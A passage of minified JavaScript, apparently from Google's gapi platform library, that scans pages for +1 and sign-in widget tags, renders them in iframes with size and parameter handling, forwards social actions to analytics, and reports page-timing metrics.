c)Object.prototype.hasOwnProperty.call(c,h)&&("style"== h?a.Qg.style.cssText=c[h]:a.Qg.setAttribute(h,c[h]))}};Ju.onready=_.kp;Ju.onRenderStart=_.kp;Ju.close=_.lp;Iu("inline",Ju); _.Wj=(window.gapi||{}).load; _.np=_.D(); _.pp=function(a){var b=window;a=(a||b.location.href).match(/.*(\?|#|&)usegapi=([^&#]+)/)||[];return"1"===(0,window.decodeURIComponent)(a[a.length-1]||"")}; var qp,rp,sp,tp,up,vp,zp,Ap;qp=function(a){if(_.Sd.test(Object.keys))return Object.keys(a);var b=[],c;for(c in a)_.Ud(a,c)&&b.push(c);return b};rp=function(a,b){if(!_.gf())try{a()}catch(c){}_.hf(b)};sp={button:!0,div:!0,span:!0};tp=function(a){var b=_.Td(_.ce,"sws",[]);return 0<=_.Xm.call(b,a)};up=function(a){return _.Td(_.ce,"watt",_.D())[a]};vp=function(a){return function(b,c){return a?_.Gn()[c]||a[c]||"":_.Gn()[c]||""}}; _.wp={apppackagename:1,callback:1,clientid:1,cookiepolicy:1,openidrealm:-1,includegrantedscopes:-1,requestvisibleactions:1,scope:1};_.xp=!1; _.yp=function(){if(!_.xp){for(var a=window.document.getElementsByTagName("meta"),b=0;b<a.length;++b){var c=a[b].name.toLowerCase();if(_.vc(c,"google-signin-")){c=c.substring(14);var d=a[b].content;_.wp[c]&&d&&(_.np[c]=d)}}if(window.self!==window.top){a=window.document.location.toString();for(var e in _.wp)0<_.wp[e]&&(b=_.Xd(a,e,""))&&(_.np[e]=b)}_.xp=!0}e=_.D();_.Vd(_.np,e);return e}; zp=function(a){var b;a.match(/^https?%3A/i)&&(b=(0,window.decodeURIComponent)(a));return _.mn(window.document,b?b:a)};Ap=function(a){a=a||"canonical";for(var b=window.document.getElementsByTagName("link"),c=0,d=b.length;c<d;c++){var e=b[c],f=e.getAttribute("rel");if(f&&f.toLowerCase()==a&&(e=e.getAttribute("href"))&&(e=zp(e))&&null!=e.match(/^https?:\/\/[\w\-_\.]+/i))return e}return window.location.href};_.Bp=function(){return window.location.origin||window.location.protocol+"//"+window.location.host}; _.Cp=function(a,b,c,d){return(a="string"==typeof a?a:void 0)?zp(a):Ap(d)};_.Dp=function(a,b,c){null==a&&c&&(a=c.db,null==a&&(a=c.gwidget&&c.gwidget.db));return a||void 0};_.Ep=function(a,b,c){null==a&&c&&(a=c.ecp,null==a&&(a=c.gwidget&&c.gwidget.ecp));return a||void 0}; _.Fp=function(a,b,c){return _.Cp(a,b,c,b.action?void 0:"publisher")};var Gp,Hp,Ip,Jp,Kp,Lp,Np,Mp;Gp={se:"0"};Hp={post:!0};Ip={style:"position:absolute;top:-10000px;width:450px;margin:0px;border-style:none"};Jp="onPlusOne _ready _close _open _resizeMe _renderstart oncircled drefresh erefresh".split(" ");Kp=_.Td(_.ce,"WI",_.D());Lp=["style","data-gapiscan"]; Np=function(a){for(var b=_.D(),c=0!=a.nodeName.toLowerCase().indexOf("g:"),d=0,e=a.attributes.length;d<e;d++){var f=a.attributes[d],h=f.name,k=f.value;0<=_.Xm.call(Lp,h)||c&&0!=h.indexOf("data-")||"null"===k||"specified"in f&&!f.specified||(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Mp(a&&a.height))&&(b.height=String(c));(a=Mp(a&&a.width))&&(b.width=String(a));return b}; _.Pp=function(a,b,c,d,e,f){if(c.rd)var h=b;else h=window.document.createElement("div"),b.setAttribute("data-gapistub",!0),h.style.cssText="position:absolute;width:450px;left:-10000px;",b.parentNode.insertBefore(h,b);f.siteElement=h;h.id||(h.id=_.Op(a));b=_.D();b[">type"]=a;_.Vd(c,b);a=_.Kn(d,h,e);f.iframeNode=a;f.id=a.getAttribute("id")};_.Op=function(a){_.Td(Kp,a,0);return"___"+a+"_"+Kp[a]++};Mp=function(a){var b=void 0;"number"===typeof a?b=a:"string"===typeof a&&(b=(0,window.parseInt)(a,10));return b}; var Qp=function(){},Tp=function(a){var b=a.Wm,c=function(a){c.H.constructor.call(this,a);var b=this.mh.length;this.Hg=[];for(var d=0;d<b;++d)this.mh[d].p8||(this.Hg[d]=new this.mh[d](a))};_.z(c,b);for(var d=[];a;){if(b=a.Wm){b.mh&&_.pe(d,b.mh);var e=b.prototype,f;for(f in e)if(e.hasOwnProperty(f)&&_.Xa(e[f])&&e[f]!==b){var h=!!e[f].c8,k=Rp(f,e,d,h);(h=Sp(f,e,k,h))&&(c.prototype[f]=h)}}a=a.H&&a.H.constructor}c.prototype.mh=d;return c},Rp=function(a,b,c,d){for(var e=[],f=0;f<c.length&&(c[f].prototype[a]=== b[a]||(e.push(f),!d));++f);return e},Sp=function(a,b,c,d){return c.length?d?function(b){var d=this.Hg[c[0]];return d?d[a].apply(this.Hg[c[0]],arguments):this.mh[c[0]].prototype[a].apply(this,arguments)}:b[a].eQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k=this.Hg[c[e]];if(k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)){d=k;break a}}d=!1}return d}:b[a].dQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k= this.Hg[c[e]];k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d);if(null!=k){d=k;break a}}d=void 0}return d}:b[a].AJ?function(b){for(var d=Array.prototype.slice.call(arguments,0),e=0;e<c.length;++e){var k=this.Hg[c[e]];k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)}}:function(b){for(var d=Array.prototype.slice.call(arguments,0),e=[],k=0;k<c.length;++k){var l=this.Hg[c[k]];e.push(l?l[a].apply(l,d):this.mh[c[k]].prototype[a].apply(this,d))}return e}:d||b[a].eQ||b[a].dQ||b[a].AJ? null:Up},Up=function(){return[]};Qp.prototype.jz=function(a){if(this.Hg)for(var b=0;b<this.Hg.length;++b)if(this.Hg[b]instanceof a)return this.Hg[b];return null}; var Vp=function(a){return this.Ya.jz(a)};var Wp,Xp,Yp,Zp,$p=/(?:^|\s)g-((\S)*)(?:$|\s)/,aq={plusone:!0,autocomplete:!0,profile:!0,signin:!0,signin2:!0};Wp=_.Td(_.ce,"SW",_.D());Xp=_.Td(_.ce,"SA",_.D());Yp=_.Td(_.ce,"SM",_.D());Zp=_.Td(_.ce,"FW",[]); var eq=function(a,b){var c;bq.ps0=(new Date).getTime();cq("ps0");a=("string"===typeof a?window.document.getElementById(a):a)||_.Qd;var d=_.Qd.documentMode;if(a.querySelectorAll&&(!d||8<d)){d=b?[b]:qp(Wp).concat(qp(Xp)).concat(qp(Yp));for(var e=[],f=0;f<d.length;f++){var h=d[f];e.push(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.D();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),n=void 0;if(k.getAttribute("data-gapiscan"))h=null; else{var p=l.indexOf("g:");0==p?n=l.substr(2):(p=(p=String(k.className||k.getAttribute("class")))&&$p.exec(p))&&(n=p[1]);h=!n||!(Wp[n]||Xp[n]||Yp[n])||h&&n!==h?null:n}h&&(aq[h]||0==f.nodeName.toLowerCase().indexOf("g:")||0!=qp(Np(f)).length)&&(f.setAttribute("data-gapiscan",!0),_.Td(a,h,[]).push(f))}for(q in a)Zp.push(q);bq.ps1=(new Date).getTime();cq("ps1");if(b=Zp.join(":"))try{_.Wd.load(b,void 0)}catch(t){_.ue(t);return}e=[];for(c in a){d=a[c];var q=0;for(b=d.length;q<b;q++)f=d[q],dq(c,f,Np(f), e,b)}}; var fq=function(a,b){var c=up(a);b&&c?(c(b),(c=b.iframeNode)&&c.setAttribute("data-gapiattached",!0)):_.Wd.load(a,function(){var c=up(a),e=b&&b.iframeNode,f=b&&b.userParams;e&&c?(c(b),e.setAttribute("data-gapiattached",!0)):(c=_.Wd[a].go,"signin2"==a?c(e,f):c(e&&e.parentNode,f))})},dq=function(a,b,c,d,e,f,h){switch(gq(b,a,f)){case 0:a=Yp[a]?a+"_annotation":a;d={};d.iframeNode=b;d.userParams=c;fq(a,d);break;case 1:if(b.parentNode){for(var k in c){if(f=_.Ud(c,k))f=c[k],f=!!f&&"object"===typeof f&&(!f.toString|| f.toString===Object.prototype.toString||f.toString===Array.prototype.toString);if(f)try{c[k]=_.df(c[k])}catch(F){delete c[k]}}k=!0;c.dontclear&&(k=!1);delete c.dontclear;var l;f={};var n=l=a;"plus"==a&&c.action&&(l=a+"_"+c.action,n=a+"/"+c.action);(l=_.H("iframes/"+l+"/url"))||(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+n+"?usegapi=1");for(p in Gp)f[p]=p+"/"+(c[p]||Gp[p])+"/";var p=_.mn(_.Qd,l.replace(_.Fn,vp(f)));n="iframes/"+a+"/params/";f={};_.Vd(c,f);(l=_.H("lang")||_.H("gwidget/lang"))&& (f.hl=l);Hp[a]||(f.origin=_.Bp());f.exp=_.H(n+"exp");if(n=_.H(n+"location"))for(l=0;l<n.length;l++){var q=n[l];f[q]=_.Nd.location[q]}switch(a){case "plus":case "follow":f.url=_.Fp(f.href,c,null);delete f.href;break;case "plusone":n=(n=c.href)?zp(n):Ap();f.url=n;f.db=_.Dp(c.db,void 0,_.H());f.ecp=_.Ep(c.ecp,void 0,_.H());delete f.href;break;case "signin":f.url=Ap()}_.ce.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;for(var t in Gp)f[t]&&delete f[t];f.gsrc=_.H("iframes/:source:");t=_.H("inline/css"); "undefined"!==typeof t&&0<e&&t>=e&&(f.ic="1");t=/^#|^fr-/;e={};for(var x in f)_.Ud(f,x)&&t.test(x)&&(e[x.replace(t,"")]=f[x],delete f[x]);x="q"==_.H("iframes/"+a+"/params/si")?f:e;t=_.yp();for(var v in t)!_.Ud(t,v)||_.Ud(f,v)||_.Ud(e,v)||(x[v]=t[v]);v=[].concat(Jp);x=_.H("iframes/"+a+"/methods");_.Wm(x)&&(v=v.concat(x));for(y in c)_.Ud(c,y)&&/^on/.test(y)&&("plus"!=a||"onconnect"!=y)&&(v.push(y),delete f[y]);delete f.callback;e._methods=v.join(",");var y=_.ln(p,f,e);v=h||{};v.allowPost=1;v.attributes= Ip;v.dontclear=!k;h={};h.userParams=c;h.url=y;h.type=a;_.Pp(a,b,c,y,v,h);b=h.id;c=_.D();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.fp[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),fq(a,b))}},gq=function(a,b,c){if(a&&1===a.nodeType&&b){if(c)return 1;if(Yp[b]){if(sp[a.nodeName.toLowerCase()])return(a=a.innerHTML)&&a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}else{if(Xp[b])return 0;if(Wp[b])return 1}}return null}; _.Td(_.Wd,"platform",{}).go=function(a,b){eq(a,b)};var hq=_.Td(_.ce,"perf",_.D()),bq=_.Td(hq,"g",_.D()),iq=_.Td(hq,"i",_.D()),jq,kq,lq,cq,nq,oq,pq;_.Td(hq,"r",[]);jq=_.D();kq=_.D();lq=function(a,b,c,d){jq[c]=jq[c]||!!d;_.Td(kq,c,[]);kq[c].push([a,b])};cq=function(a,b,c){var d=hq.r;"function"===typeof d?d(a,b,c):d.push([a,b,c])};nq=function(a,b,c,d){if("_p"==b)throw Error("S");_.mq(a,b,c,d)};_.mq=function(a,b,c,d){oq(b,c)[a]=d||(new Date).getTime();cq(a,b,c)};oq=function(a,b){a=_.Td(iq,a,_.D());return _.Td(a,b,_.D())}; pq=function(a,b,c){var d=null;b&&c&&(d=oq(b,c)[a]);return d||bq[a]}; (function(){function a(a){this.t={};this.tick=function(a,b,c){this.t[a]=[void 0!=c?c:(new Date).getTime(),b];if(void 0==c)try{window.console.timeStamp("CSI/"+a)}catch(p){}};this.tick("start",null,a)}var b;if(window.performance)var c=(b=window.performance.timing)&&b.responseStart;var d=0<c?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;0<e&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;0<e&&c>=e&&(f.tick("_wtsrt",void 0,e), f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chrome.csi().pageT),f&&0<e&&(f.tick("_tbnd",void 0,window.chrome.csi().startE),f.tick("tbnd_","_tbnd",e))),null==b&&window.gtbExternal&&(b=window.gtbExternal.pageT()),null==b&&window.external&&(b=window.external.pageT,f&&0<e&&(f.tick("_tbnd",void 0,window.external.startE),f.tick("tbnd_","_tbnd",e))),b&&(window.__gapi_jstiming__.pt=b)}catch(h){}})(); if(window.__gapi_jstiming__){window.__gapi_jstiming__.AF={};window.__gapi_jstiming__.eY=1;var sq=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],e=void 0!=c?c:e[0],Math.round(d-e)};window.__gapi_jstiming__.getTick=sq;window.__gapi_jstiming__.getLabels=function(a){var b=[],c;for(c in a.t)b.push(c);return b};var tq=function(a,b,c){var d="";window.__gapi_jstiming__.srt&&(d+="&srt="+window.__gapi_jstiming__.srt);window.__gapi_jstiming__.pt&&(d+="&tbsrt="+window.__gapi_jstiming__.pt); try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(q){}var e=window.chrome;if(e&&(e=e.loadTimes)){e().wasFetchedViaSpdy&&(d+="&p=s");if(e().wasNpnNegotiated){d+="&npn=1";var f=e().npnNegotiatedProtocol;f&&(d+="&npnv="+(window.encodeURIComponent||window.escape)(f))}e().wasAlternateProtocolAvailable&&(d+="&apa=1")}var h= a.t,k=h.start;e=[];f=[];for(var l in h)if("start"!=l&&0!=l.indexOf("_")){var n=h[l][1];n?h[n]&&f.push(l+"."+sq(a,l,h[n][0])):k&&e.push(l+"."+sq(a,l))}if(b)for(var p in b)d+="&"+p+"="+b[p];(b=c)||(b="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");return[b,"?v=3","&s="+(window.__gapi_jstiming__.sn||"")+"&action=",a.name,f.length?"&it="+f.join(","):"",d,"&rt=",e.join(",")].join("")},uq=function(a,b,c){a=tq(a,b,c);if(!a)return"";b=new window.Image; var d=window.__gapi_jstiming__.eY++;window.__gapi_jstiming__.AF[d]=b;b.onload=b.onerror=function(){window.__gapi_jstiming__&&delete window.__gapi_jstiming__.AF[d]};b.src=a;b=null;return a};window.__gapi_jstiming__.report=function(a,b,c){var d=window.document.visibilityState,e="visibilitychange";d||(d=window.document.webkitVisibilityState,e="webkitvisibilitychange");if("prerender"==d){var f=!1,h=function(){if(!f){b?b.prerender="1":b={prerender:"1"};if("prerender"==(window.document.visibilityState|| window.document.webkitVisibilityState))var d=!1;else uq(a,b,c),d=!0;d&&(f=!0,window.document.removeEventListener(e,h,!1))}};window.document.addEventListener(e,h,!1);return""}return uq(a,b,c)}}; var vq={g:"gapi_global",m:"gapi_module",w:"gwidget"},wq=function(a,b){this.type=a?"_p"==a?"m":"w":"g";this.name=a;this.wo=b};wq.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.wo;case "w":return this.type+"."+this.name+this.wo}}; var xq=new wq,yq=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/),zq=_.Td(hq,"_c",_.D()),Aq=Math.random()<(_.H("csi/rate")||0),Cq=function(a,b,c){for(var d=new wq(b,c),e=_.Td(zq,d.key(),_.D()),f=kq[a]||[],h=0;h<f.length;++h){var k=f[h],l=k[0],n=a,p=b,q=c;k=pq(k[1],p,q);n=pq(n,p,q);e[l]=k&&n?n-k:null}jq[a]&&Aq&&(Bq(xq),Bq(d))},Dq=function(a,b){b=b||[];for(var c=[],d=0;d<b.length;d++)c.push(a+b[d]);return c},Bq=function(a){var b=_.Nd.__gapi_jstiming__;b.sn=vq[a.type];var c= new b.Timer(0);a:{switch(a.type){case "g":var d="global";break a;case "m":d=a.wo;break a;case "w":d=a.name;break a}d=void 0}c.name=d;d=!1;var e=a.key(),f=zq[e];c.tick("_start",null,0);for(var h in f)c.tick(h,"_start",f[h]),d=!0;zq[e]=_.D();d&&(h=[],h.push("l"+(_.H("isPlusUser")?"1":"0")),d="m"+(yq?"1":"0"),h.push(d),"m"==a.type?h.push("p"+a.wo):"w"==a.type&&(e="n"+a.wo,h.push(e),"0"==a.wo&&h.push(d+e)),h.push("u"+(_.H("isLoggedIn")?"1":"0")),a=Dq("",h),a=Dq("abc_",a).join(","),b.report(c,{e:a}))}; lq("blt","bs0","bs1");lq("psi","ps0","ps1");lq("rpcqi","rqe","rqd");lq("bsprt","bsrt0","bsrt1");lq("bsrqt","bsrt1","bsrt2");lq("bsrst","bsrt2","bsrt3");lq("mli","ml0","ml1");lq("mei","me0","me1",!0);lq("wcdi","wrs","wcdi");lq("wci","wrs","wdc");lq("wdi","wrs","wrdi");lq("wdt","bs0","wrdt");lq("wri","wrs","wrri",!0);lq("wrt","bs0","wrrt");lq("wji","wje0","wje1",!0);lq("wjli","wjl0","wjl1");lq("whi","wh0","wh1",!0);lq("wai","waaf0","waaf1",!0);lq("wadi","wrs","waaf1",!0);lq("wadt","bs0","waaf1",!0); lq("wprt","wrt0","wrt1");lq("wrqt","wrt1","wrt2");lq("wrst","wrt2","wrt3",!0);lq("fbprt","fsrt0","fsrt1");lq("fbrqt","fsrt1","fsrt2");lq("fbrst","fsrt2","fsrt3",!0);lq("fdns","fdns0","fdns1");lq("fcon","fcon0","fcon1");lq("freq","freq0","freq1");lq("frsp","frsp0","frsp1");lq("fttfb","fttfb0","fttfb1");lq("ftot","ftot0","ftot1",!0);var Eq=hq.r;if("function"!==typeof Eq){for(var Fq;Fq=Eq.shift();)Cq.apply(null,Fq);hq.r=Cq}; var Gq=["div"],Hq="onload",Iq=!0,Jq=!0,Kq=function(a){return a},Lq=null,Mq=function(a){var b=_.H(a);return"undefined"!==typeof b?b:_.H("gwidget/"+a)},hr,ir,jr,kr,ar,cr,lr,br,mr,nr,or,pr;Lq=_.H();_.H("gwidget");var Nq=Mq("parsetags");Hq="explicit"===Nq||"onload"===Nq?Nq:Hq;var Oq=Mq("google_analytics");"undefined"!==typeof Oq&&(Iq=!!Oq);var Pq=Mq("data_layer");"undefined"!==typeof Pq&&(Jq=!!Pq); var Qq=function(){var a=this&&this.ka();a&&(_.ce.drw=a)},Rq=function(){_.ce.drw=null},Sq=function(a){return function(b){var c=a;"number"===typeof b?c=b:"string"===typeof b&&(c=b.indexOf("px"),-1!=c&&(b=b.substring(0,c)),c=(0,window.parseInt)(b,10));return c}},Tq=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:null},Uq=function(){return Mq("lang")||"en-US"},Vq=function(a){if(!_.O.Bb("attach")){var b={},c=_.O.Bb("inline"),d;for(d in c)c.hasOwnProperty(d)&&(b[d]=c[d]);b.open= function(a){var b=a.Ob().renderData.id;b=window.document.getElementById(b);if(!b)throw Error("T");return c.attach(a,b)};_.O.Xb("attach",b)}a.style="attach"},Wq=function(){var a={};a.width=[Sq(450)];a.height=[Sq(24)];a.onready=[Tq];a.lang=[Uq,"hl"];a.iloader=[function(){return _.ce.ILI},"iloader"];return a}(),Zq=function(a){var b={};b.De=a[0];b.Bo=-1;b.D$="___"+b.De+"_";b.W_="g:"+b.De;b.o9="g-"+b.De;b.wK=[];b.config={};b.Vs=[];b.uM={};b.Ew={};var c=function(a){for(var c in a)if(_.Ud(a,c)){b.config[c]= [Tq];b.Vs.push(c);var d=a[c],e=null,l=null,n=null;"function"===typeof d?e=d:d&&"object"===typeof d&&(e=d.Y8,l=d.Xr,n=d.Mw);n&&(b.Vs.push(n),b.config[n]=[Tq],b.uM[c]=n);e&&(b.config[c]=[e]);l&&(b.Ew[c]=l)}},d=function(a){for(var c={},d=0;d<a.length;++d)c[a[d].toLowerCase()]=1;c[b.W_]=1;b.lW=c};a[1]&&(b.parameters=a[1]);(function(a){b.config=a;for(var c in Wq)Wq.hasOwnProperty(c)&&!b.config.hasOwnProperty(c)&&(b.config[c]=Wq[c])})(a[2]||{});a[3]&&c(a[3]);a[4]&&d(a[4]);a[5]&&(b.jk=a[5]);b.u$=!0===a[6]; b.EX=a[7];b.H_=a[8];b.lW||d(Gq);b.CB=function(a){b.Bo++;nq("wrs",b.De,String(b.Bo));var c=[],d=a.element,e=a.config,l=":"+b.De;":plus"==l&&a.hk&&a.hk.action&&(l+="_"+a.hk.action);var n=Xq(b,e),p={};_.Vd(_.yp(),p);for(var q in a.hk)null!=a.hk[q]&&(p[q]=a.hk[q]);q={container:d.id,renderData:a.$X,style:"inline",height:e.height,width:e.width};Vq(q);b.jk&&(c[2]=q,c[3]=p,c[4]=n,b.jk("i",c));l=_.O.open(l,q,p,n);Yq(b,l,e,d,a.GQ);c[5]=l;b.jk&&b.jk("e",c)};return b},Xq=function(a,b){for(var c={},d=a.Vs.length- 1;0<=d;--d){var e=a.Vs[d],f=b[a.uM[e]||e]||b[e],h=b[e];h&&f!==h&&(f=function(a,b){return function(c){b.apply(this,arguments);a.apply(this,arguments)}}(f,h));f&&(c[e]=f)}for(var k in a.Ew)a.Ew.hasOwnProperty(k)&&(c[k]=$q(c[k]||function(){},a.Ew[k]));c.drefresh=Qq;c.erefresh=Rq;return c},$q=function(a,b){return function(c){var d=b(c);if(d){var e=c.href||null;if(Iq){if(window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",d,e):window._gaq&& window._gaq.push(["_trackSocial","Google",d,e])}catch(k){}if(window.ga&&window.ga.getAll)try{var h=window.ga.getAll();for(f=0;f<h.length;f++)h[f].send("social","Google",d,e)}catch(k){}}if(Jq&&window.dataLayer)try{window.dataLayer.push({event:"social",socialNetwork:"Google",socialAction:d,socialTarget:e})}catch(k){}}a.call(this,c)}},Yq=function(a,b,c,d,e){ar(b,c);br(b,d);cr(a,b,e);dr(a.De,a.Bo.toString(),b);(new er).Ya.Jk(a,b,c,d,e)},er=function(){if(!this.Ya){for(var a=this.constructor;a&&!a.Wm;)a= a.H&&a.H.constructor;a.Wm.lG||(a.Wm.lG=Tp(a));this.Ya=new a.Wm.lG(this);this.jz||(this.jz=Vp)}},fr=function(){},gr=er;fr.H||_.z(fr,Qp);gr.Wm=fr;fr.prototype.Jk=function(a){a=a?a:function(){};a.AJ=!0;return a}();hr=function(a){return _.zo&&"undefined"!=typeof _.zo&&a instanceof _.zo};ir=function(a){return hr(a)?"_renderstart":"renderstart"};jr=function(a){return hr(a)?"_ready":"ready"};kr=function(){return!0}; ar=function(a,b){if(b.onready){var c=!1,d=function(){c||(c=!0,b.onready.call(null))};a.register(jr(a),d,kr);a.register(ir(a),d,kr)}}; cr=function(a,b,c){var d=a.De,e=String(a.Bo),f=!1,h=function(){f||(f=!0,c&&nq("wrdt",d,e),nq("wrdi",d,e))};b.register(ir(b),h,kr);var k=!1;a=function(){k||(k=!0,h(),c&&nq("wrrt",d,e),nq("wrri",d,e))};b.register(jr(b),a,kr);hr(b)?b.register("widget-interactive-"+b.id,a,kr):_.K.register("widget-interactive-"+b.id,a);_.K.register("widget-csi-tick-"+b.id,function(a,b,c){"wdc"===a?nq("wdc",d,e,c):"wje0"===a?nq("wje0",d,e,c):"wje1"===a?nq("wje1",d,e,c):"wh0"==a?_.mq("wh0",d,e,c):"wh1"==a?_.mq("wh1",d,e, c):"wcdi"==a&&_.mq("wcdi",d,e,c)})};lr=function(a){return"number"==typeof a?a+"px":"100%"==a?a:null};br=function(a,b){var c=function(c){c=c||a;var d=lr(c.width);d&&b.style.width!=d&&(b.style.width=d);(c=lr(c.height))&&b.style.height!=c&&(b.style.height=c)};hr(a)?a.pL("onRestyle",c):(a.register("ready",c,kr),a.register("renderstart",c,kr),a.register("resize",c,kr))};mr=function(a,b){for(var c in Wq)if(Wq.hasOwnProperty(c)){var d=Wq[c][1];d&&!b.hasOwnProperty(d)&&(b[d]=a[d])}return b}; nr=function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&(c[a[d][1]||d]=(a[d]&&a[d][0]||Kq)(b[d.toLowerCase()],b,Lq));return c};or=function(a){if(a=a.EX)for(var b=0;b<a.length;b++)(new window.Image).src=a[b]};pr=function(a,b){var c=b.userParams,d=b.siteElement;d||(d=(d=b.iframeNode)&&d.parentNode);if(d&&1===d.nodeType){var e=nr(a.config,c);a.wK.push({element:d,config:e,hk:mr(e,nr(a.parameters,c)),X9:3,GQ:!!c["data-onload"],$X:b})}b=a.wK;for(a=a.CB;0<b.length;)a(b.shift())}; _.qr=function(a){var b=Zq(a);or(b);_.pn(b.De,function(a){pr(b,a)});Wp[b.De]=!0;var c={va:function(a,c,f){var d=c||{};d.type=b.De;c=d.type;delete d.type;var e=("string"===typeof a?window.document.getElementById(a):a)||void 0;if(e){a={};for(var l in d)_.Ud(d,l)&&(a[l.toLowerCase()]=d[l]);a.rd=1;(l=!!a.ri)&&delete a.ri;dq(c,e,a,[],0,l,f)}else _.ue("string"==="gapi."+c+".render: missing element "+typeof a?a:"")},go:function(a){eq(a,b.De)},Y9:function(){var a=_.Td(_.ce,"WI",_.D()),b;for(b in a)delete a[b]}}; a=function(){"onload"===Hq&&c.go()};tp(b.De)||rp(a,a);_.w("gapi."+b.De+".go",c.go);_.w("gapi."+b.De+".render",c.va);return c}; var rr=pr,sr=function(a,b){a.Bo++;nq("wrs",a.De,String(a.Bo));var c=b.userParams,d=nr(a.config,c),e=[],f=b.iframeNode,h=b.siteElement,k=Xq(a,d),l=nr(a.parameters,c);_.Vd(_.yp(),l);l=mr(d,l);c=!!c["data-onload"];var n=_.ao,p=_.D();p.renderData=b;p.height=d.height;p.width=d.width;p.id=b.id;p.url=b.url;p.iframeEl=f;p.where=p.container=h;p.apis=["_open"];p.messageHandlers=k;p.messageHandlersFilter=_.M;_.mp(p);f=l;a.jk&&(e[2]=p,e[3]=f,e[4]=k,a.jk("i",e));k=n.uj(p);k.id=b.id;k.aD(k,p);Yq(a,k,d,h,c);e[5]= k;a.jk&&a.jk("e",e)};pr=function(a,b){var c=b.url;a.H_||_.pp(c)?_.wo?sr(a,b):(0,_.Wj)("gapi.iframes.impl",function(){sr(a,b)}):_.O.open?rr(a,b):(0,_.Wj)("iframes",function(){rr(a,b)})}; var tr=function(){var a=window;return!!a.performance&&!!a.performance.getEntries},dr=function(a,b,c){if(tr()){var d=function(){var a=!1;return function(){if(a)return!0;a=!0;return!1}}(),e=function(){d()||window.setTimeout(function(){var d=c.Ha().src;var e=d.indexOf("#");-1!=e&&(d=d.substring(0,e));d=window.performance.getEntriesByName(d);1>d.length?d=null:(d=d[0],d=0==d.responseStart?null:d);if(d){e=Math.round(d.requestStart);var k=Math.round(d.responseStart),l=Math.round(d.responseEnd);nq("wrt0", a,b,Math.round(d.startTime));nq("wrt1",a,b,e);nq("wrt2",a,b,k);nq("wrt3",a,b,l)}},1E3)};c.register(ir(c),e,kr);c.register(jr(c),e,kr)}}; _.w("gapi.widget.make",_.qr); var ur,vr,wr,yr;ur=["left","right"];vr="inline bubble none only pp vertical-bubble".split(" ");wr=function(a,b){if("string"==typeof a){a=a.toLowerCase();var c;for(c=0;c<b.length;c++)if(b[c]==a)return a}};_.xr=function(a){return wr(a,vr)};yr=function(a){return wr(a,ur)};_.zr=function(a){a.source=[null,"source"];a.expandTo=[null,"expandTo"];a.align=[yr];a.annotation=[_.xr];a.origin=[_.Bp]}; _.O.NC("bubble",function(a){(0,_.Wj)("iframes-styles-bubble",a)}); _.O.NC("slide-menu",function(a){(0,_.Wj)("iframes-styles-slide-menu",a)}); _.w("gapi.plusone.render",_.TV);_.w("gapi.plusone.go",_.UV); var VV={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}},WV={width:180,height:35},XV=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a},YV=function(a){var b=(0,window.parseInt)(a,10);if(b==a)return String(b)},ZV=function(a){if(XV(a))return"true"},$V=function(a){return"string"== typeof a&&VV[a.toLowerCase()]?a.toLowerCase():"standard"},aW=function(a,b){return"tall"==$V(b)?"true":null==a||XV(a)?"true":"false"},bW=function(a,b){return VV[$V(a)][aW(b,a)]},cW=function(a,b,c){a=_.xr(a);b=$V(b);if(""!=a){if("inline"==a||"only"==a)return a=450,c.width&&(a=120<c.width?c.width:120),{width:a,height:VV[b]["false"].height};if("bubble"!=a){if("none"==a)return VV[b]["false"];if("pp"==a)return WV}}return VV[b]["true"]},dW={href:[_.Cp,"url"],width:[YV],size:[$V],resize:[ZV],autosize:[ZV], count:[function(a,b){return aW(b.count,b.size)}],db:[_.Dp],ecp:[_.Ep],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[ZV],recommendations:[],fu:[],ad:[ZV],cr:[YV],ag:[YV],"fr-ai":[],"fr-sigh":[]}; (function(){var a={0:"plusone"},b=_.H("iframes/plusone/preloadUrl");b&&(a[7]=b);_.zr(dW);a[1]=dW;a[2]={width:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).width:bW(b.size,b.count).width}],height:[function(a,b){return 